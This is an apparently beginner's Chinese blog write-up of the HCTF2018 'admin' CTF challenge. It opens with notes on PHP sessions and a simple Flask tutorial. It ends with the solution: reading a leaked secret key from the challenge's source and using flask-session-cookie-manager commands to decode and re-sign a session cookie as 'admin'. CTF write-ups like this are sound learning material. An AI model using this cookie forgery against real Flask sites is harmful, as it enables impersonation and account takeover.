HCTF2018-admin-复现

session 详细了解

学习的博客:https://blog.csdn.net/h19910518/article/details/79348051 写的真是好

session_start()
这是个无任何返回值的函数,既不会报错,也不会成功。它的作用是开启session,并随机生成一个唯一的32位的session_id,类似于这样:

4c83638b3b0dbf65583181c2f89168ec

每次我们访问一个页面,如果有开启session,也就是有session_start() 时,就会自动生成一个session_id 来标注是这次会话的唯一ID,同时也会自动往cookie里写入一个名字为PHPSESSID的变量,它的值正是session_id,当这次会话没结束,再次访问的时候,服务器会去读取这个PHPSESSID的cookie是否有值有没过期,如果能够读取到,则继续用这个session_id,如果没有,就会新生成一个session_id,同时生成PHPSESSID这个cookie。由于默认生成的这个PHPSESSID cookie是会话,也就是说关闭浏览器就会过期掉,所以,下次重新浏览时,会重新生成一个session_id。

session 一般存贮在服务器端的\tmp目录下,同样也是用到session_id。session_id是32位的,服务器会用 sess_前缀 + session_id 的形式存在这个临时目录下
每一次生成的session_id都会生成一个这样的文件,用来保存这次会话的session信息。
例如
sess_bjvlo4p38cfqkr1hr7pe924ts3 这样的文件名

往session文件中写数据:

例如
$_SESSION[‘hello’] = 123;
$_SESSION[‘word’] = 456;

数据存放形式为:hello|i:123;word|i:456;
是序列化的数据,我们肉眼也能读出来。当我们往$_SESSION全局变量里写数据时,它会自动往这个文件里写入。读取session的时候,也会根据session_id 找到这个文件,然后读取需要的session变量。

大致总结:
HTTP请求一个页面后,如果用到开启session,会去读cookie中的PHPSESSID是否有,如果没有,则会新生成一个session_id,先存入cookie中的PHPSESSID中,再生成一个sess_前缀文件。当有写入$_SESSION的时候,就会往sess_文件里序列化写入数据。当读取的session变量的时候,先会读取cookie中的PHPSESSID,获得session_id,然后再去找这个sess_sessionid文件,来获取对应的数据。由于默认的PHPSESSID是临时的会话,在浏览器关闭后,会消失,所以,我们重新访问的时候,会新生成session_id和sess_这个文件。

有关session的几个变量 SID,session_id(),$_COOKIE[“PHPSESSID”]

SID 是一个系统常量,SID包含着会话名以及会话 ID 的常量,格式为 “name=ID”,或者如果会话 ID 已经在适cookie 中设定时则为空字符串,第一次显示的时候输出的是SID的值,当你刷新的时候,因为已经在cookie中存在,所以显示的是一个空字符串。
session_id() 函数用来返回当前会话的session_id,它会去读取cookie中的name,也就是PHPSESSID值。

session的相关配置

[Session]
session.save_handler = files
session.save_path = “d:/wamp/tmp”
session.use_cookies = 1
session.name = PHPSESSID
session.auto_start = 0
session.cookie_lifetime = 0
session.serialize_handler = php
session.gc_divisor = 1000
session.gc_probability = 1
session.gc_maxlifetime = 1440

session.save_handler = files 表示的是session的存储方式,默认的是files文件的方式保存,sess_efdsw34534efsdfsfsf3r3wrresa, 保存在 session.save_path = “d:/wamp/tmp” 里,所有这2个都是可配值得。我们上面的例子就是用的这种默认的方式。

save_handler 不仅仅只能用文件files,还可以用我们常见的memcache 和 redis 来保存。

session.use_cookies 默认是1,表示会在浏览器里创建值为PHPSESSID的session_id,session.name = PHPSESSID 找个配置就是改这个名字的,你可以改成PHPSB, 那这样就再浏览器里生成名字为PHPSB的session_id 。

session.auto_start = 0 用来是否需要自动开启session,默认是不开启的,所有我们需要在代码中用到session_start();函数开启,如果设置成1,那么session_id 也会自动就生成了。

session.cookie_lifetime = 0 这个是设置在客户端生成PHPSESSID这个cookie的过期时间,默认是0,也就是关闭浏览器就过期,下次访问,会再次生成一个session_id。所以,如果想关闭浏览器会话后,希望session信息能够保持的时间长一点,可以把这个值设置大一点,单位是秒。

复现学习的博客:https://www.jianshu.com/p/f92311564ad0

解法一 flask session伪造

说是复现,其实对flask一点都不了解,好像以buuok上的题来当web入门好像有点拉跨,不过看都看了,硬学下去吧

什么是flask

学习的博客:https://www.cnblogs.com/mrchige/p/6387674.html

Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。

实际操作flask

  1. 安装flask
    kali上输入:
    sudo pip install flask
    在这里插入图片描述
    显示已存在

  2. 创建项目结构
    输入sudo mkdir -p hello_flask/{templates,static}

kali上不自带tree,输入sudo apt install tree 安装tree这个命令
在这里插入图片描述
templates 文件夹是存放模板的地方,static 文件夹存放 web 应用所需的静态文件(images, css, javascript)。

  1. 创建应用文件
    $ cd hello_flask
    $ sudo vim hello_flask.py

hello_flask.py 文件里编写如下代码:

#!/usr/bin/env python

import flask

# Create the application.
APP = flask.Flask(__name__)

@APP.route('/')
def index():
    """ 显示可在 '/' 访问的 index 页面
    """
    return flask.render_template('index.html')

if __name__ == '__main__':
    APP.debug=True
    APP.run()
  1. 创建模板文件 index.html
    sudo vim templates/index.html

输入内容:

<!DOCTYPE html>
<html lang='en'>
<head>
  <meta charset="utf-8" />
  <title>Hello world!</title>
  <link type="text/css" rel="stylesheet"
        href="{{ url_for('static',
              filename='hello.css')}}" />
</head>
<body>

It works!

</body>
</html>

在输入python3 hello_flask.py
进入网址http://127.0.0.1:5000/ 访问

  1. flask中使用参数
    为此我们更新 hello_flask.py 文件。

    在 hello_flask.py 文件中添加以下条目

@APP.route('/hello/<name>/')
def hello(name):
    """ Displays the page greats who ever comes to visit it.
    """
    return flask.render_template('hello.html', name=name)

创建下面这个模板 hello.html

<!DOCTYPE html>
<html lang='en'>
<head>
    <meta charset="utf-8" />
    <title>Hello</title>
    <link type="text/css" rel="stylesheet"
          href="{{ url_for('static',
               filename='hello.css')}}" />
</head>
<body>

      How are you ? {{name}}

</body>
</html>

$ python3 hello_flask.py

访问 http://127.0.0.1:5000/ ,这应该只是显示黑字白底的 “It works!” 文本。
访问http://127.0.0.1:5000/hello/you,这应该返回文本 “How are you ?”

  1. 使用模板

创建模板文件 master.html。

<!DOCTYPE html>
<html lang='en'>
<head>
  <meta charset="utf-8" />
  <title>{% block title %}{% endblock %} - Hello Flask!</title>
  <link type="text/css" rel="stylesheet"
       href="{{ url_for('static',
                        filename='hello.css')}}" />
</head>
<body>

{% block body %}{% endblock %}

</body>
</html>

调整模板 index.html。

{% extends "master.html" %}

{% block title %}Home{% endblock %}

{% block body %}
It works!
{% endblock %}

hello.html也可以调整为:
在这里插入图片描述

简单的跟着写了下代码,感觉flask就是个模板,{{}}里面的是标量,{% %}里面类似逻辑语句吧

以后碰到flask先看@APP.route()的路径,找到重要的文件

解法一 伪造flask session

学习的博客:https://www.jianshu.com/p/f92311564ad0

进入页面右上角可以login和register,先随便注册一个然后登录
登录之后可以change password,转到那个页面查看页面源码可以发现泄露了源码
之后去查看源码
先进去APP文件夹 -> 查看route.py 看app.route()主要的文件有哪些 先查看index.html的内容
在这里插入图片描述

发现只要以admin身份登录就可以拿到flag,回到注册页面注册admin会发现用户已被注册
而flask的session是存放在cookie中的,也就是存放在浏览器上,那么就有了可能伪造session的思路

要伪造session还需要知道签名,去github的源码导出看看有没有签名,最后在config.py中发现了签名
在这里插入图片描述

拿到签名后还需要解密加密flask脚本,在google中可以搜索到
https://github.com/noraj/flask-session-cookie-manager

下载后开始伪造session:

  1. 先解密,得到解密之前的数据,将当前用户名改成admin
    这里有python2和python3两个脚本,用python3失败了,用python2成功了
    python2 flask_session_cookie_manager2.py decode -s “ckj123” -c ".eJw9kEGLwjAQhf_KkrOH2tKL4GEltSjMQJdoyVzEbWvTSeNCq2gj_vfNuuBhYOA9Pt57D3E4Dc1oxOIyXJuZOHS1WDzEx7dYCM2m176Kwa86lNkEsu8g3zLKdiKVeV0WKZa7iGR7I7nviHsDvPNawQ0cWSg3HrhKw2_Qf1nMswl9EaPPElDgQZIjXhmtqonyXaq5CEzqQYVzm0h7iFFtmeTakCzuwXcHvzZQ6gS5D5n-_GtLarMUz5moxuF0uPzY5vyuALJmUm2qfRYhk4N875CrBD11wPauYx2TyxJSK4sqxGI7x8_lC9e5Y9u8SftzKHr7V85HFwRxHOuTmInr2Ayv2cQ8Es9f9Y5uyQ.Xo82lg.zGqI1MszM160rzt9fWR5-0DFJDU"

-s 后跟签名
-c 后跟当前cookie的value
解密后的数据:
在这里插入图片描述

  1. 将修改后的数据再进行加密伪造session

python2 flask_session_cookie_manager2.py encode -s “ckj123” -t “ckj123” -t “{u’csrf_token’: ‘07ce89c1466f0ef67776b291cf6fa7e0d5172954’, u’user_id’: u’10’, u’name’: u’admin’, u’image’: ‘Vu4g’, u’_fresh’: True, u’_id’: ‘b8ec7630b41209b0bc482e13ad95e4d80d5bf9a253a302fd1b32792fa74d4a274671713306ff0aa72de9b43afe16e2b4c3652cd1ad41a7131a1f769b443aade2’}”

加密后的数据:
在这里插入图片描述

之后再把这个伪造的session覆盖点当前的session的value就可以拿到flag了

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值